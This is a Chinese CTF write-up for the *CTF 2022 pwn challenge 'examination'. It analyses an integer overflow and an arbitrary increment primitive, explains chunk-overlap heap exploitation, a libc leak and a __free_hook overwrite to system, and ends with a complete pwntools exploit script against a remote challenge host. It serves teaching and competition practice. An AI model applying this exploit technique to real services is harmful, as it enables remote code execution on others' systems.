0%

startctf2022-pwn-writeup

*ctf 2022 pwn examination复现

examination

XWen61.jpg

64位保护全开

程序分析

程序分为两个用户,一个teacher一个student

teacher可以添加学生,给学生打分、评论以及开除学生

student可以查看评论,祈祷,等

add_student

XWnFG4.jpg

最多可以添加7个学生,程序会calloc两块堆块,0x20的堆块为head、0x18的为info

head存放info结构体的地址,info结构体的内容为教师评分,分数,评论的大小,评论的内容

1
2
3
4
5
6
struct info{
int number;
int sorce;
int review_size;
int* review;
}

然后head的地址存放在student数组中

give_sorce

XWumlj.jpg

这里v2是无符号整型,当*(student_chunk[i] + 24LL) == 1的时候进入if语句可造成整数溢出

要让这个地址的值为1只需要执行下面这个函数就行

XWQl7t.jpg

write_review

XWQrNV.jpg

如果原本有就直接覆盖,没有的话输入指定范围内的size然后分配堆块写入内容

check_fo_review

XWmC3d.jpg

如果分数大于0x59可以打印堆地址并让一个任意地址加1,这里利用give_sorce的整数溢出即可得到一个很大的分数用来泄露堆地址

利用思路

程序可以使任意地址加1,这里可以通过修改堆块的size来造成堆重叠然后泄露libc

先添加两个学生,第一个学生的评论开辟0x380的空间,第二个学生的评论开辟0xa0的空间,泄露第一个学生的地址并修改地址+0x49即第一个学生评论的size位的3为4

这样size位就从0x391变成了0x491,多出来的0x100刚好可以把第二个学生的评论区域全部包含进来,把第一个学生开除,这样0x491大小的堆块会被放入unsorted bin中,接着继续添加学生的话会从unsorted bin中切割

这里思路就很明确了,被释放的0x491的堆块包含了第二个学生的所有信息,添加第三个学生,把包含第二个学生的head和info申请出来,只剩评论区域在unsorted bin中,查看评论就能泄露libc了,不过这里要注意的是程序使用的是calloc函数,重新申请出来的堆块会被清空,所以要把第二个学生的所有信息都构造好

再次通过写第三个学生的评论将第一个学生的评论地址改成__free_hook并写入/bin/sh

覆写第一个学生的评论改__free_hook为system最后开除第三个学生即可getshell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
from pwn import *
#io = process("./examination")
libc = ELF("./libc-2.31.so")
io = remote("1.14.71.254", 28662)
context.log_level = "debug"
#gdb.attach(io)

def selete(role):
io.sendlineafter(b"<0.teacher/1.student>: ", str(role))

def add(number):
io.sendlineafter(b">> ", b'1')
io.sendlineafter(b"enter the number of questions: ", str(number))

def give_score():
io.sendlineafter(b">> ", b'2')

def write_new_review(idx, size, content):
io.sendlineafter(b">> ", b'3')
io.sendlineafter(b"which one? > ", str(idx))
io.sendlineafter(b"please input the size of comment: ", str(size))
io.sendlineafter(b"enter your comment:", content)

def write_old_review(idx, content):
io.sendlineafter(b">> ", b'3')
io.sendlineafter(b"which one? > ", str(idx))
io.sendlineafter(b"enter your comment:", content)

def change_role(choice):
io.sendlineafter(b">> ", b'5')
io.sendlineafter(b"<0.teacher/1.student>: ", str(choice))

def pray():
io.sendlineafter(b">> ", b'3')

def delete(idx):
io.sendlineafter(b">> ", b'4')
io.sendlineafter(b"which student id to choose?", str(idx))

def set_id(idx):
io.sendlineafter(b">> ", b'6')
io.sendlineafter(b"input your id: ", str(idx))

def attack():
io.sendlineafter(b"choice>> ", b'2')
io.recvuntil(b"reward! ")
heap = int(io.recvuntil(b"\n", drop=True), 16)
io.recvuntil(b"add 1 to wherever you want! addr: ")
io.sendline(str(heap + 0x49).encode().ljust(15, b'\x00'))
return heap
selete(0)
add(1) #0
write_new_review(0, 0x380, b'Leof')

change_role(1)
set_id(0)
pray()

change_role(0)
add(1) #1
write_new_review(1, 0xa0, b'Leof')

add(1) #2

give_score()
change_role(1)
set_id(0)
#pause()
heap = attack()
print("heap: ", hex(heap))

#leak libc
change_role(0)
delete(0)
add(1) # 0x30 + 0x20

payload = b'a'*0x338 + p64(0x31) + p64(heap + 0x410) + p64(0) * 4 + p64(0x21) + p64(1) + p64(heap + 0x430) + p64(6)
write_new_review(2, 0x388, payload)
#pause()
change_role(1)
set_id(1)
io.recvuntil(b">> ")
io.sendline(b"2")
io.recvuntil(b"\n")
malloc_hook = u64(io.recv(6).ljust(8, b'\x00')) - 96 - 0x10
print("malloc_hook: ", hex(malloc_hook))
libcbase = malloc_hook - libc.sym['__malloc_hook']
sys_addr = libcbase + libc.sym['system']
free_hook = libcbase + libc.sym['__free_hook']

change_role(0)
payload = b'/bin/sh\x00' + b'a'*0x330 + p64(0x31) + p64(heap + 0x410) + p64(0) * 4 + p64(0x21) + p64(1) + p64(free_hook) + p64(8)
write_old_review(2, payload)
write_old_review(1, p64(sys_addr))
delete(2)
io.interactive()